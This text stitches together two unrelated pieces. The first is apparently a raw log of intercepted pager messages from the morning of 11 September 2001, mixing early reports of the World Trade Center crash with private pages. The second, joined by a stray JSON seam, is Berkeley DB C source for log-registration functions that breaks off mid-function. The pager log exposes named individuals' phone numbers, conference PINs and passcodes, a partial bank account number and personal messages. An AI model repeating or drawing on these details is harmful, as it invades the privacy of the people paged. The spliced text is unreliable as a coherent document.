Skytel [002356207] D SH/TONE 423-1689\n2001-09-11 08:59:42 Skytel [005253979] C SH/TONE 300 \n2001-09-11 08:59:42 Skytel [003254126] D ALPHA ts-carc17.abm.com Up at 06:00:03 on 09/11/01\n2001-09-11 08:59:42 Skytel [007600874] C SH/TONE 6128 \n2001-09-11 08:59:42 Skytel [007602538] C ST NUM 917-299-0221 \n2001-09-11 08:59:42 Skytel [005436525] D SH/TONE 15 \n2001-09-11 08:59:42 Skytel [007551470] D ST NUM 312-360-7447 \n2001-09-11 08:59:42 Skytel [002405988] B ALPHA PLEASE CALL ANN COHEN AT 908-526-2034 ASAP\n2001-09-11 08:59:42 Skytel [005311978] C ST NUM 973-771-4668 \n2001-09-11 08:59:42 Skytel [007045864] C ALPHA a plane crashed into the WTC avoid the area if possible...stay safe...most important...I will take care of anything for you...just don't take chances. mw\n2001-09-11 08:59:42 Skytel [005226605] D ST NUM 8683241881\n2001-09-11 08:59:43 Metrocall [0300393] C ALPHA _01Z00_02A?_1B\"n6_1A8_1C3_09Standings_1A9\n2001-09-11 08:59:43 Metrocall [1064395] C ALPHA )?#`BAJHH}h@D^jnikdDNQAdsdENiOiQTENCLbttDZKLfHFByb`hPzbBgEhUDCaAWbqYZBmSPTJTf_RPUxlVVmaUIj~kBiut@@RA@vmNpL\n2001-09-11 08:59:43 Metrocall [1064381] D ALPHA EUROPE END-AUG OIL STOCKS RISE 444,000 BPD TO 1.056 BLN BBLS - EUROILSTOCK\n2001-09-11 08:59:43 Metrocall [1064378] C ALPHA EEK VS PRIOR WEEK-BTM/UBSW\n2001-09-11 08:59:44 Arch [0899307] C ALPHA 410 215-3623\n2001-09-11 08:59:44 Metrocall [0300393] C ALPHA _1B&a _1C1NFL STANDINGS _0D_1C2NFC _0D_1C1Eastern Division _0D_1C2Ari 0-0-0 .000 _0D_1C1NYG 0-0-0 .000 _0D_1C2Dal 0-1-0 .000 _0D_1C1Phi 0-1-0 .000 _0D_1C2Was 0-1-0 .000 _0D_1C1Central Division _0D_1C2TBB 1-0-0 1.000 _0D_1C1GBP 1-0-0 1.000 _0D_1C2Chi 0-\n2001-09-11 08:59:44 Metrocall [1064381] D ALPHA EURO AUG OIL STOCKS YR/YR DEFICIT 8.7 MLN BBLS - EUROILSTOCK\n2001-09-11 08:59:44 Metrocall [0923503] D ALPHA IF YOU DON'T HAVE RADIO ON, SMALL PLANE HAS HIT WORLD TRADE CENTER -- ANDY\n2001-09-11 08:59:44 Metrocall [0125934] D ALPHA ALERT-SITE: 0257 - NY257 HOMER .63 * A3 12 VDC * MAJ ALARM \n2001-09-11 08:59:44 Skytel [003504882] A SH/TONE 454 (86 \n2001-09-11 08:59:44 Skytel [007463153] A SH/TONE 442-3970\n2001-09-11 08:59:44 Skytel [007596400] A ST NUM 0-004-102-1023-0 \n2001-09-11 08:59:44 Skytel [005225456] A SH/TONE 334 \n2001-09-11 08:59:44 Skytel [002382588] D SH/TONE 99 \n2001-09-11 08:59:44 Skytel [003437940] B ST NUM 312-285-1882 \n2001-09-11 08:59:44 Skytel [002355954] A ALPHA Aloha cal not being used please call texas bridge # 888-935-0068 pin 269269# for aloha usage. Dallas Data Center Operations 9/11/01 7:59:11 AM\n2001-09-11 08:59:44 Skytel [004530037] B ST NUM 166-588-6753 \n2001-09-11 08:59:44 Skytel [005068537] C ST NUM 301-601-7312 \n2001-09-11 08:59:44 Skytel [004684159] D ALPHA 224-995-5371-6\n2001-09-11 08:59:44 Skytel [003670131] A ST NUM 404-8310 (65 \n2001-09-11 08:59:44 Skytel [005260287] D SH/TONE 412-8300\n2001-09-11 08:59:44 Skytel [002853630] D ST NUM 584-344-3763 \n2001-09-11 08:59:44 Skytel [005483645] D ST NUM 888-465-8453 \n2001-09-11 08:59:44 Skytel [005046131] A ALPHA 01\n2001-09-11 08:59:44 Skytel [005106167] B SH/TONE 267-4050\n2001-09-11 08:59:46 Arch [1072635] C ALPHA Call Holding 950-7575\n2001-09-11 08:59:46 Arch [0000101] B ALPHA MSN 093 hello Message from NOC PCB.\n2001-09-11 08:59:46 Metrocall [0300393] C ALPHA 1-0 .000 _0D_1C1Det 0-1-0 .000 _0D_1C2Min 0-1-0 .000 _0D_1C1Western Division _0D_1C2Car 1-0-0 1.000 _0D_1C1NOS 1-0-0 1.000 _0D_1C2StL 1-0-0 1.000 _0D_1C1S.F 1-0-0 1.000 _0D_1C2Atl 0-1-0 .000 _0D_1C1AFC _0D_1C2Eastern Division _0D_1C1Ind 1-0-0 1.000 _0D\n2001-09-11 08:59:46 Metrocall [0125934] D ALPHA * 08.2V MAJ=NONE\n2001-09-11 08:59:46 Skytel [004044044] D ALPHA 56700\n2001-09-11 08:59:46 Skytel [005509760] A SH/TONE 799-8000\n2001-09-11 08:59:48 Metrocall [0300393] C ALPHA _1C2Mia 1-0-0 1.000 _0D_1C1Buf 0-1-0 .000 _0D_1C2NEP 0-1-0 .000 _0D_1C1NYJ 0-1-0 .000 _0D_1C2Central Division _0D_1C1Blt 1-0-0 1.000 _0D_1C2Cin 1-0-0 1.000 _0D_1C1Jax 1-0-0 1.000 _0D_1C2Ten 0-1-0 .000 _0D_1C1Cle 0-1-0 .000 _0D_1C2Pit 0-1-0 .000 _0D_1C1\n2001-09-11 08:59:48 Metrocall [1064381] D ALPHA EUROPE END-AUG CRUDE STOCKS ROSE 50,000 BPD TO 433 MLN BBLS - EUROILSTOCK\n2001-09-11 08:59:48 Metrocall [1064380] D ALPHA ECB-GOLD, GOLD RECEIVABLES DOWN 34 MLN EUROS AFTER SALE OF 3.3 TONNES BY A EUROZONE CBANK\n2001-09-11 08:59:48 Metrocall [1064381] D ALPHA EUROPE END-AUG DISTILLATE STO\n2001-09-11 08:59:48 Skytel [007588498] A SH/TONE 3385 \n2001-09-11 08:59:48 Skytel [002815240] C ALPHA alerts@firstunion.com|BALANCE NOTIFICATION|First Union's Alert Service. Date: 09-11-2001 Opening Balance: $7.03 Account Number: XXXXXXXXX6075 This is your Daily balance notification for your CAPITAL GROWTH ACCOUNT account. For balan\n2001-09-11 08:59:48 Skytel [007098397] D SH/TONE 999 \n2001-09-11 08:59:48 Skytel [004759065] C ALPHA 254-7056 restaurant name please! Love Wife (79\n2001-09-11 08:59:48 Skytel [005112344] C ALPHA ts-carc17.abm.com Up at 06:00:03 on 09/11/01\n2001-09-11 08:59:48 Skytel [004542487] B ALPHA ts-carc17.abm.com Up at 06:00:03 on 09/11/01\n2001-09-11 08:59:48 Skytel [007101336] C SH/TONE 493-9124\n2001-09-11 08:59:48 Skytel [003953311] D ALPHA pager@household.com||(From EMP640) 847/564-6600 Ch\n2001-09-11 08:59:48 Skytel [003920799] D SH/TONE 7493 \n2001-09-11 08:59:48 Skytel [004571289] C ALPHA Aloha cal not being used please call texas bridge # 888-935-0068 pin 269269# for aloha usage. Dallas Data Center Operations 9/11/01 7:59:11 AM\n2001-09-11 08:59:48 Skytel [005416855] B ALPHA Remedy.Helpdesk@ArvinMeritor.com|HD-10696, High, assigned to Group.|Marty Watter\n2001-09-11 08:59:48 Skytel [002861584] A ST NUM 8685227799\n2001-09-11 08:59:48 Skytel [004398109] D ALPHA 830-8670.FISCHER CHARLES \n2001-09-11 08:59:48 Skytel [002860955] C SH/TONE 338-0278\n2001-09-11 08:59:48 Skytel [002845465] C ALPHA Aloha cal not being used please call texas bridge # 888-935-0068 pin 269269# for aloha usage. Dallas Data Center Operations 9/11/01 7:59:11 AM\n2001-09-11 08:59:48 Skytel [002864402] A ALPHA potski23@hotmail.com||B\n2001-09-11 08:59:50 Arch [0888558] D ALPHA <'saverealbig@op|get 4 dvds for 49 cents each! or|<HTML><BODY></BODY></HTML><HTML><BODY>Start building your DVD and video collection today! Collect \n2001-09-11 08:59:50 Arch [0936338] A ALPHA Check out cnn or the news - a plane crashed into the world trade center.....Pat\n2001-09-11 08:59:50 Arch [0805316] B ALPHA From wi at 09:00 AM EDT: Fixed wireless 100percent alocation to Convergys \n2001-09-11 08:59:50 Arch [0950980] B ALPHA MSN <alert@msn.c|Hotmail Diana Essert:Humor \n2001-09-11 08:59:50 Arch [0910102] B ALPHA MSN <alert@msn.c|Mahwah - Tuesday: Sunny (Clear at night) 81/57*Wednesday: Sunny (Clear at night) 76/58*Thursday: \n2001-09-11 08:59:50 Arch [0905006] D ALPHA IVR ALERT <_IVRA|IVR Alert from SH IVR|This is an alert from SH IVR running on ntivr1.conseco.com (192.168.1.65). On Sep 11, 2001 at 07:56:46AM, 6 occurrences of \"Host Problem or Error From Greeting\" were logged. \n2001-09-11 08:59:50 Metrocall [0300393] C ALPHA Western Division _0D_1C2Oak 1-0-0 1.000 _0D_1C1Sea 1-0-0 1.000 _0D_1C2SDC 1-0-0 1.000 _0D_1C1Den 0-0-0 .000 _0D_1C2KCC 0-1-0 .000 _04\n2001-09-11 08:59:50 Metrocall [1708428] D ALPHA (7)Pastor, Good Morning. Alvin Day wants you to give him a c\n2001-09-11 08:59:50 Metrocall [1064378] C ALPHA US CHAIN STORE SALES FALL IN SEPT 8 WEEK-BTM/UBSW\n2001-09-11 08:59:50 Metrocall [1064395] C ALPHA )?#`B@wHH}g@CJkSPPyDFSNPTzd~eEPTxLrKSPQhLrX`dsdENKPjHGBBoEbrulJiMWuXUNn`AHDCZuC@p\n2001-09-11 08:59:50 Metrocall [1064381] D ALPHA CKS RISE 322,000 BPD TO 331 MLN BBLS-EUROILSTOCK\n2001-09-11 08:59:50 Metrocall [002588471] B ALPHA Frm: wn@solutions.att.c\n2001-09-11 08:59:50 Skytel [002815240] C ALPHA ce i\n2001-09-11 08:59:50 Skytel [005410979] A ALPHA Problem 02113613 Sev3 P/C-GCTVA GREENE, THOMAS K 1-888-866-9965 A dial up account was requested for Tom, and he was sent a confirmation that the account was created, but will not accept the password that was given him. I we (7\n2001-09-11 08:59:50 Skytel [003953311] D ALPHA ris- Im in if you still need it. Linda \n2001-09-11 08:59:50 Skytel [002353965] D ALPHA 9/11/01 7:58:21 AM A plane has crashed into the WTC.. Looks like 2WTC not sure at this time.. We're monitoring TCAM, etc... Riep Dallas Data Center Operations\n2001-09-11 08:59:50 Skytel [007567254] B SH/TONE 796-4921\n2001-09-11 08:59:50 Skytel [002401821] D ALPHA 206.122.\n2001-09-11 08:59:50 Skytel [005416855] B ALPHA son @ 717-866-9379 / User has a 3com model 3cxfe574bt NIC for NEC that needs installed. User will be at Troy on 9/12 and 9/13. User will drop off \n2001-09-11 08:59:50 Skytel [004024864] A ALPHA fusasitescope@wingspan.com||elgweb3 login page timed out reading ******************\n2001-09-11 08:59:50 Skytel [002864402] A ALPHA hey *mwah* sa eyes, nose at chin, *tsup* sa cheeks at lips.. mga 567 times bat kaya mahal na mahal kita eh ang sungit mo? Hay ingat ka po pa hug din.. hay gusto na kita Makita. _________________________________\n2001-09-11 08:59:50 Skytel [005106984] C ALPHA CALL ASAP !!!!\n2001-09-11 08:59:52 Arch [0927190] B ALPHA 402809\\MERCY MASON URGENT C\\7450 MASON MONTGOMERY RD\\1ST FL\\CINCINNATI\\45040\\KMB/JANET\\513-701-2100\\7328000\\718414\\PPJM\\LT\\\\*\n2001-09-11 08:59:52 Arch [0900473] C ALPHA marr@WellsFargo.|WOLI is down|VIMonitor was unable to retrieve test page. \n2001-09-11 08:59:52 Metrocall [1708428] D ALPHA all at 329-4645. Espanoza called, he will call you later. sm\n2001-09-11 08:59:52 Metrocall [002588471] B ALPHA om Sub: AT&T Tkt#0983670-(800):ACCUWAN Txt: 9/10/01 12:42:49 PM PATSORNJ01 TT# 983670 Ethernet back up. Closing tkt.\n2001-09-11 08:59:52 Metrocall [003759839] D ALPHA Frm: Cciserv - Super-User Sub: Check cciserv Txt: /ccs/IOSERV/IM4 increased 40%\n2001-09-11 08:59:52 Metrocall [0442809] C ALPHA Frm: Cciserv - Super-User Sub: Check cciserv Txt: /ccs/IOSERV/IM4 increased 40%\n2001-09-11 08:59:52 Metrocall [1230728] C ALPHA Frm: Cciserv - Super-User Sub: Check cciserv Txt: /ccs/IOSERV/IM4 in\n2001-09-11 08:59:52 Skytel [005395120] A SH/TONE 799-8000\n2001-09-11 08:59:52 Skytel [005181603] A ST NUM 0-401-849-3903 \n2001-09-11 08:59:52 Skytel [007610277] B ALPHA oraerp@gpsd003a.corporate.ge.com|gpsorp77 has Long Holding Sessions Tue Sep 11 08:54:09 EDT 2001| 87 \n2001-09-11 08:59:52 Skytel [002401821] D ALPHA 40.74 $HASP050 JES2 RESOURCE SHORTAGE OF JOES - 80% UTILIZATION REACHED ussa11.SSMC \n2001-09-11 08:59:52 Skytel [007595941] B SH/TONE 8517 \n2001-09-11 08:59:52 Skytel [002405293] D ALPHA 400100381298 52374 1 9199667611 UNC HOSPITALS DIANE ODELL /=THE UNIT WILL NOT POWER UP. /= /=\n2001-09-11 08:59:52 Skytel [005383722] C ST NUM 952-857-2213 \n2001-09-11 08:59:52 Skytel [003916705] A ALPHA 924-2963\n2001-09-11 08:59:52 Skytel [004024864] A ALPHA **************************************************** This transmission may contain information that is privileged, confidential and/or exempt from disclos\n2001-09-11 08:59:52 Skytel [004411567] D ST NUM 609-818-4435 \n2001-09-11 08:59:52 Skytel [005317923] A SH/TONE 867-4496\n2001-09-11 08:59:52 Skytel [005249065] C ST NUM 813-281-0560-318 \n2001-09-11 08:59:52 Skytel [005066922] C ALPHA CALL ME ASAP!!!\n2001-09-11 08:59:52 Skytel [005426985] C SH/TONE 5293 \n2001-09-11 08:59:52 Skytel [004702132] B ST NUM 751-306-0524 \n2001-09-11 08:59:52 Skytel [005255594] C ALPHA open tr 2564084 sev 1 @08:50 . Business Card Representatives are unable to access web forms. BCJUWIN oncall has been contacted and is investigating sdyce 888-567-8304\n2001-09-11 08:59:52 Skytel [003904813] D ALPHA Cluster resource Bac\n2001-09-11 08:59:52 Skytel [004548651] C SH/TONE 577-5000\n2001-09-11 08:59:52 Skytel [004682799] D SH/TONE 4447 \n2001-09-11 08:59:53 Skytel [005105739] C ST NUM 872-771-3549 \n2001-09-11 08:59:53 Skytel [002810820] B SH/TONE 948-1288\n2001-09-11 08:59:53 Skytel [007599051] C SH/TONE 2800 \n2001-09-11 08:59:53 Skytel [005427401] C ST NUM 805-6031 (99 \n2001-09-11 08:59:53 Skytel [005202255] D ST NUM 315-635-3100-256 \n2001-09-11 08:59:54 Arch [0972011] C ALPHA 845-7900\n2001-09-11 08:59:54 Metrocall [003759835] C ALPHA Frm: Cciserv - Super-User Sub: Check cciserv Txt: /ccs/IOSERV/IM4 increased 40%\n2001-09-11 08:59:54 Metrocall [1230728] C ALPHA creased 40%\n2001-09-11 08:59:54 Metrocall [002116263] B ALPHA Tkt: 00716026 Sev: 2 Ph: 740 368 4217 x User: Karshner, \n2001-09-11 08:59:54 Metrocall [002272465] A ALPHA Frm: HPOV Sub: NOTICE Txt: NodeDown agsqr.na.nutrasweet.com 08:59:36 [1] private.enterprises.hp.nm.17.= 2.1.0\n2001-09-11 08:59:55 Arch [1072635] C ALPHA Call Holding 950-7575\n2001-09-11 08:59:55 Skytel [002790611] A SH/TONE 14141 \n2001-09-11 08:59:55 Skytel [005076571] C SH/TONE 21025 \n2001-09-11 08:59:56 Metrocall [002690673] A ALPHA HINSDALE 630-856-6211 PT; PERILLO, LOUIS\n2001-09-11 08:59:56 Metrocall [002116263] B ALPHA John @ 09/11/01 05:59:42 Msg Text: The Bridges server is down\n2001-09-11 08:59:56 Metrocall [0544296] C ALPHA T4166 [LCJH2DB1] On LCJ\n2001-09-11 08:59:56 Metrocall [1064378] C ALPHA NZ ECONOMY TO GROW MODERATELY, FACES RISKS - BERL\n2001-09-11 08:59:56 Metrocall [1064380] D ALPHA NZ ECONOMY TO GROW MODERATELY, FACES RISKS - BERL\n2001-09-11 08:59:56 Metrocall [1064395] C ALPHA )?#`B@wHH}f@CJ]ZPQX\\~]OfvTER^`cti}]AMgqHmJCTbsKJqAF`pxmMARdty]M@mPPhmJX`AHDCZuE@p\n2001-09-11 08:59:57 Arch [0921885] D ALPHA 9/11/01@8:00:03 AM SPARKY PVNetMon Heartbeat 136 Devices Monitored 0 Devices Critical\n2001-09-11 08:59:57 Arch [0860639] D ALPHA Mike sorry I was feeling sick this morning. Going to rest. Hopefully I'll feel better later today. I hope I didn't leave you in a jam. Chris\n2001-09-11 08:59:57 Skytel [002863587] A ALPHA varrone: Code Blue initiated call 888-224-0047, passcode=7187542767\n2001-09-11 08:59:57 Skytel [004426216] C ST NUM 302-957-8888 \n2001-09-11 08:59:57 Skytel [004187109] B ALPHA 252-747-2691 (72\n2001-09-11 08:59:59 Arch [1090183] B ALPHA From wi at 09:00 AM EDT: You are now VRUPRI \n2001-09-11 08:59:59 Arch [0982234] C ALPHA OVER SOD POSSIBLE PLANE CRASH IN THE WORLD TRADE CENTER LEVEL 3 MOBILIZATION IN MANHATTAN. NFI 8:57:14 AM\n2001-09-11 08:59:59 Arch [1018152] C ALPHA (5)oraprod@mail.spr|File system /u21 o\n2001-09-11 08:59:59 Arch [0951098] C ALPHA OVER SOD POSSIBLE PLANE CRASH IN THE WORLD TRADE CENTER LEVEL 3 MOBILIZATION IN MANHATTAN. NFI 8:57:14 AM\n2001-09-11 08:59:59 Arch [1500016] A ALPHA OVER SOD POSSIBLE PLANE CRASH IN THE WORLD TRADE CENTER LEVEL 3 MOBILIZATION IN MANHATTAN. NFI 8:57:14 AM\n2001-09-11 08:59:59 Arch [0866799] D ALPHA (6)Fi\n2001-09-11 08:59:59 Arch [0284743] B ALPHA WB09070951 757-249-5166 Office Max #0562 CRC\n2001-09-11 08:59:59 Arch [1631927] B ALPHA OVER SOD POSSIBLE PLANE CRASH IN THE WORLD TRADE CENTER LEVEL 3 MOBILIZATION IN MANHATTAN. NFI 8:57:14 AM\n2001-09-11 08:59:59 Arch [1326157] D ALPHA (1/1) [EA]Tkt 04236554, Sev: 3, Cust: CHAMBERS,NICKI C, Phone: 40464946\n2001-09-11 08:59:59 Arch [1017253] B ALPHA OVER SOD POSSIBLE PLANE CRASH IN THE WORLD TRADE CENTER LEVEL 3 MOBILIZATION IN MANHATTAN. NFI 8:57:14 AM\n2001-09-11 08:59:59 Arch [0936693] B ALPHA OVER SOD POSSIBLE PLANE CRASH IN THE WORLD TRADE CENTER LEVEL 3 MOBILIZATION IN MANHATTAN. NFI 8:57:14 AM\n2001-09-11 08:59:59 Skytel [007512189] D SH/TONE 278-1460\n2001-09-11 08:59:59 Skytel [007663740] D ALPHA (1/1) CONFIRMED PLANE CRASH AT 2 WORLD TRADE CENTER. EMRP, 38ST, HAZMAT RESPONDING. // CC 595-6777\n2001-09-11 08:59:59 Skytel [005476854] B SH/TONE 536-5877\n2001-09-11 08:59:59 Skytel [005179130] C ST NUM 212-907-4541 \n2001-09-11 08:59:59 Skytel [007552757] B ALPHA 38921\n"} {"text": "/*-\n * See the file LICENSE for redistribution information.\n *\n * Copyright (c) 1997, 2017 Oracle and/or its affiliates. All rights reserved.\n *\n * $Id$\n */\n#include \"db_config.h\"\n#include \"db_int.h\"\n#pragma hdrstop\n#include \"dbinc/blob.h\"\n#include \"dbinc/db_page.h\"\n#include \"dbinc/db_am.h\"\n#include \"dbinc/fop.h\"\n#include \"dbinc/mp.h\"\n#include \"dbinc/txn.h\"\n\nstatic int __dbreg_check_master __P((ENV *, uint8 *, char *));\n\n/*\n * __dbreg_add_dbentry --\n *\tAdds a DB entry to the dbreg DB entry table.\n *\n * PUBLIC: int __dbreg_add_dbentry __P((ENV *, DB_LOG *, DB *, int32));\n */\nint __dbreg_add_dbentry(ENV *env, DB_LOG * dblp, DB * dbp, int32 ndx)\n{\n\tint32 i;\n\tint ret = 0;\n\tMUTEX_LOCK(env, dblp->mtx_dbreg);\n\t/*\n\t * Check if we need to grow the table. Note, ndx is 0-based (the\n\t * index into the DB entry table) an dbentry_cnt is 1-based, the\n\t * number of available slots.\n\t */\n\tif(dblp->dbentry_cnt <= ndx) {\n\t\tif((ret = __os_realloc(env, (size_t)(ndx + DB_GROW_SIZE) * sizeof(DB_ENTRY), &dblp->dbentry)) != 0)\n\t\t\tgoto err;\n\t\t/* Initialize the new entries. */\n\t\tfor(i = dblp->dbentry_cnt; i < ndx + DB_GROW_SIZE; i++) {\n\t\t\tdblp->dbentry[i].dbp = NULL;\n\t\t\tdblp->dbentry[i].deleted = 0;\n\t\t}\n\t\tdblp->dbentry_cnt = i;\n\t}\n\n\tDB_ASSERT(env, dblp->dbentry[ndx].dbp == NULL);\n\tdblp->dbentry[ndx].deleted = dbp == NULL;\n\tdblp->dbentry[ndx].dbp = dbp;\n\nerr: MUTEX_UNLOCK(env, dblp->mtx_dbreg);\n\treturn ret;\n}\n\n/*\n * __dbreg_rem_dbentry\n *\tRemove an entry from the DB entry table.\n *\n * PUBLIC: int __dbreg_rem_dbentry __P((DB_LOG *, int32));\n */\nint __dbreg_rem_dbentry(DB_LOG *dblp, int32 ndx)\n{\n\tMUTEX_LOCK(dblp->env, dblp->mtx_dbreg);\n\tif(dblp->dbentry_cnt > ndx) {\n\t\tdblp->dbentry[ndx].dbp = NULL;\n\t\tdblp->dbentry[ndx].deleted = 0;\n\t}\n\tMUTEX_UNLOCK(dblp->env, dblp->mtx_dbreg);\n\treturn 0;\n}\n/*\n * __dbreg_log_files --\n *\tPut a DBREG_CHKPNT/CLOSE log record for each open database.\n *\n * PUBLIC: int __dbreg_log_files(ENV *, uint32);\n */\nint __dbreg_log_files(ENV *env, uint32 opcode)\n{\n\tDBT * dbtp, fid_dbt, t;\n\tDB_LOG * dblp;\n\tDB_LSN r_unused;\n\tFNAME * fnp;\n\tLOG * lp;\n\tuint32 lopcode;\n\tint ret = 0;\n\tuint32 blob_file_hi, blob_file_lo;\n\tdblp = env->lg_handle;\n\tlp = (LOG *)dblp->reginfo.primary;\n\tMUTEX_LOCK(env, lp->mtx_filelist);\n\tSH_TAILQ_FOREACH(fnp, &lp->fq, q, __fname) {\n\t\t/* This id was revoked by a switch in replication master. */\n\t\tif(fnp->id == DB_LOGFILEID_INVALID)\n\t\t\tcontinue;\n\t\tif(fnp->fname_off == INVALID_ROFF)\n\t\t\tdbtp = NULL;\n\t\telse {\n\t\t\tmemzero(&t, sizeof(t));\n\t\t\tt.data = R_ADDR(&dblp->reginfo, fnp->fname_off);\n\t\t\tt.size = (uint32)strlen((const char *)t.data) + 1;\n\t\t\tdbtp = &t;\n\t\t}\n\t\tmemzero(&fid_dbt, sizeof(fid_dbt));\n\t\tfid_dbt.data = fnp->ufid;\n\t\tfid_dbt.size = DB_FILE_ID_LEN;\n\t\t/*\n\t\t * Output DBREG_CHKPNT records which will be processed during\n\t\t * the OPENFILES pass of recovery. At the end of recovery we\n\t\t * want to output the files that were open so a future recovery\n\t\t * run will have the correct files open during a backward pass.\n\t\t * For this we output DBREG_RCLOSE records so the files will be\n\t\t * closed on the forward pass.\n\t\t */\n\t\tlopcode = opcode;\n\t\tif(opcode == DBREG_CHKPNT && F_ISSET(fnp, DBREG_EXCL))\n\t\t\tlopcode = DBREG_XCHKPNT;\n\t\tSET_LO_HI_VAR(fnp->blob_file_id, blob_file_lo, blob_file_hi);\n\t\tif((ret = __dbreg_register_log(env, NULL, &r_unused,\n\t\t F_ISSET(fnp, DB_FNAME_DURABLE) ? 0 : DB_LOG_NOT_DURABLE,\n\t\t lopcode | F_ISSET(fnp, DB_FNAME_DBREG_MASK),\n\t\t dbtp, &fid_dbt, fnp->id, fnp->s_type, fnp->meta_pgno,\n\t\t TXN_INVALID, blob_file_lo, blob_file_hi)) != 0)\n\t\t\tbreak;\n\t}\n\n\tMUTEX_UNLOCK(env, lp->mtx_filelist);\n\n\treturn ret;\n}\n\n/*\n * __dbreg_log_nofiles --\n *\n * PUBLIC: int __dbreg_log_nofiles(ENV *);\n */\nint __dbreg_log_nofiles(ENV *env)\n{\n\tDB_LOG * dblp = env->lg_handle;\n\tLOG * lp = (LOG *)dblp->reginfo.primary;\n\treturn (SH_TAILQ_EMPTY(&lp->fq));\n}\n/*\n * __dbreg_close_files --\n *\tRemove the id's of open files and actually close those\n *\tfiles that were opened by the recovery daemon. We sync the\n *\tfile, unless its mpf pointer has been NULLed by a db_remove or\n *\tdb_rename. We may not have flushed the log_register record that\n *\tcloses the file.\n *\n * PUBLIC: int __dbreg_close_files __P((ENV *, int));\n */\nint __dbreg_close_files(ENV *env, int do_restored)\n{\n\tDB * dbp;\n\tDB_LOG * dblp;\n\tint ret, t_ret;\n\tint32 i;\n\t/* If we haven't initialized logging, we have nothing to do. */\n\tif(!LOGGING_ON(env))\n\t\treturn 0;\n\tdblp = env->lg_handle;\n\tret = 0;\n\tMUTEX_LOCK(env, dblp->mtx_dbreg);\n\tfor(i = 0; i < dblp->dbentry_cnt; i++) {\n\t\t/*\n\t\t * We only want to close dbps that recovery opened. Any\n\t\t * dbps that weren't opened by recovery but show up here\n\t\t * are about to be unconditionally removed from the table.\n\t\t * Before doing so, we need to revoke their log fileids\n\t\t * so that we don't end up leaving around FNAME entries\n\t\t * for dbps that shouldn't have them.\n\t\t */\n\t\tif((dbp = dblp->dbentry[i].dbp) != NULL) {\n\t\t\t/*\n\t\t\t * It's unsafe to call DB->close or revoke_id\n\t\t\t * while holding the thread lock, because\n\t\t\t * we'll call __dbreg_rem_dbentry and grab it again.\n\t\t\t *\n\t\t\t * Just drop it. Since dbreg ids go monotonically\n\t\t\t * upward, concurrent opens should be safe, and the\n\t\t\t * user should have no business closing files while\n\t\t\t * we're in this loop anyway--we're in the process of\n\t\t\t * making all outstanding dbps invalid.\n\t\t\t */\n\t\t\t/*\n\t\t\t * If we only want to close those FNAMES marked\n\t\t\t * as restored, check now.\n\t\t\t */\n\t\t\tif(do_restored &&\n\t\t\t !F_ISSET(dbp->log_filename, DB_FNAME_RESTORED))\n\t\t\t\tcontinue;\n\t\t\tMUTEX_UNLOCK(env, dblp->mtx_dbreg);\n\t\t\tif(F_ISSET(dbp, DB_AM_RECOVER))\n\t\t\t\tt_ret = __db_close(dbp,\n\t\t\t\t\tNULL, dbp->mpf == NULL ? DB_NOSYNC : 0);\n\t\t\telse\n\t\t\t\tt_ret = __dbreg_revoke_id(\n\t\t\t\t\tdbp, 0, DB_LOGFILEID_INVALID);\n\t\t\tif(ret == 0)\n\t\t\t\tret = t_ret;\n\t\t\tMUTEX_LOCK(env, dblp->mtx_dbreg);\n\t\t}\n\n\t\tdblp->dbentry[i].deleted = 0;\n\t\tdblp->dbentry[i].dbp = NULL;\n\t}\n\tMUTEX_UNLOCK(env, dblp->mtx_dbreg);\n\treturn ret;\n}\n\n/*\n * __dbreg_close_file --\n *\tClose a database file opened by recovery.\n * PUBLIC: int __dbreg_close_file __P((ENV *, FNAME *));\n */\nint __dbreg_close_file(ENV *env, FNAME * fnp)\n{\n\tDB_LOG * dblp = env->lg_handle;\n\tDB * dbp = dblp->dbentry[fnp->id].dbp;\n\tif(dbp == NULL)\n\t\treturn 0;\n\tDB_ASSERT(env, dbp->log_filename == fnp);\n\tDB_ASSERT(env, F_ISSET(dbp, DB_AM_RECOVER));\n\treturn (__db_close(dbp, NULL, DB_NOSYNC));\n}\n\n/*\n * __dbreg_mark_restored --\n *\tMark files when we change replication roles and there are outstanding\n * prepared txns that may use these files. These will be invalidated later\n * when all outstanding prepared txns are resolved.\n *\n * PUBLIC: int __dbreg_mark_restored(ENV *);\n */\nint __dbreg_mark_restored(ENV *env)\n{\n\tDB_LOG * dblp;\n\tFNAME * fnp;\n\tLOG * lp;\n\t/* If we haven't initialized logging, we have nothing to do. */\n\tif(!LOGGING_ON(env))\n\t\treturn 0;\n\tdblp = env->lg_handle;\n\tlp = (LOG *)dblp->reginfo.primary;\n\tMUTEX_LOCK(env, lp->mtx_filelist);\n\tSH_TAILQ_FOREACH(fnp, &lp->fq, q, __fname)\n\tif(fnp->id != DB_LOGFILEID_INVALID)\n\t\tF_SET(fnp, DB_FNAME_RESTORED);\n\n\tMUTEX_UNLOCK(env, lp->mtx_filelist);\n\treturn 0;\n}\n\n/*\n * __dbreg_invalidate_files --\n *\tInvalidate files when we change replication roles. Save the\n * id so that another process will be able to clean up the information\n * when it notices.\n *\n * PUBLIC: int __dbreg_invalidate_files __P((ENV *, int));\n */\nint __dbreg_invalidate_files(ENV *env, int do_restored)\n{\n\tDB_LOG * dblp;\n\tFNAME * fnp;\n\tLOG * lp;\n\tint ret;\n\t/* If we haven't initialized logging, we have nothing to do. */\n\tif(!LOGGING_ON(env))\n\t\treturn 0;\n\tdblp = env->lg_handle;\n\tlp = (LOG *)dblp->reginfo.primary;\n\tret = 0;\n\tMUTEX_LOCK(env, lp->mtx_filelist);\n\tSH_TAILQ_FOREACH(fnp, &lp->fq, q, __fname) {\n\t\t/*\n\t\t * Normally, skip any file with DB_FNAME_RESTORED\n\t\t * set. If do_restored is set, only invalidate\n\t\t * those files with the flag set and skip all others.\n\t\t */\n\t\tif(F_ISSET(fnp, DB_FNAME_RESTORED) && !do_restored)\n\t\t\tcontinue;\n\t\tif(!F_ISSET(fnp, DB_FNAME_RESTORED) && do_restored)\n\t\t\tcontinue;\n\t\tif(fnp->id != DB_LOGFILEID_INVALID) {\n\t\t\tif((ret = __dbreg_log_close(env,\n\t\t\t fnp, NULL, DBREG_RCLOSE)) != 0)\n\t\t\t\tgoto err;\n\t\t\tfnp->old_id = fnp->id;\n\t\t\tfnp->id = DB_LOGFILEID_INVALID;\n\t\t}\n\t}\nerr: MUTEX_UNLOCK(env, lp->mtx_filelist);\n\treturn ret;\n}\n\n/*\n * __dbreg_id_to_db --\n *\tReturn the DB corresponding to the specified dbreg id.\n *\n * PUBLIC: int __dbreg_id_to_db __P((ENV *, DB_TXN *, DB **, int32, int));\n */\nint __dbreg_id_to_db(ENV 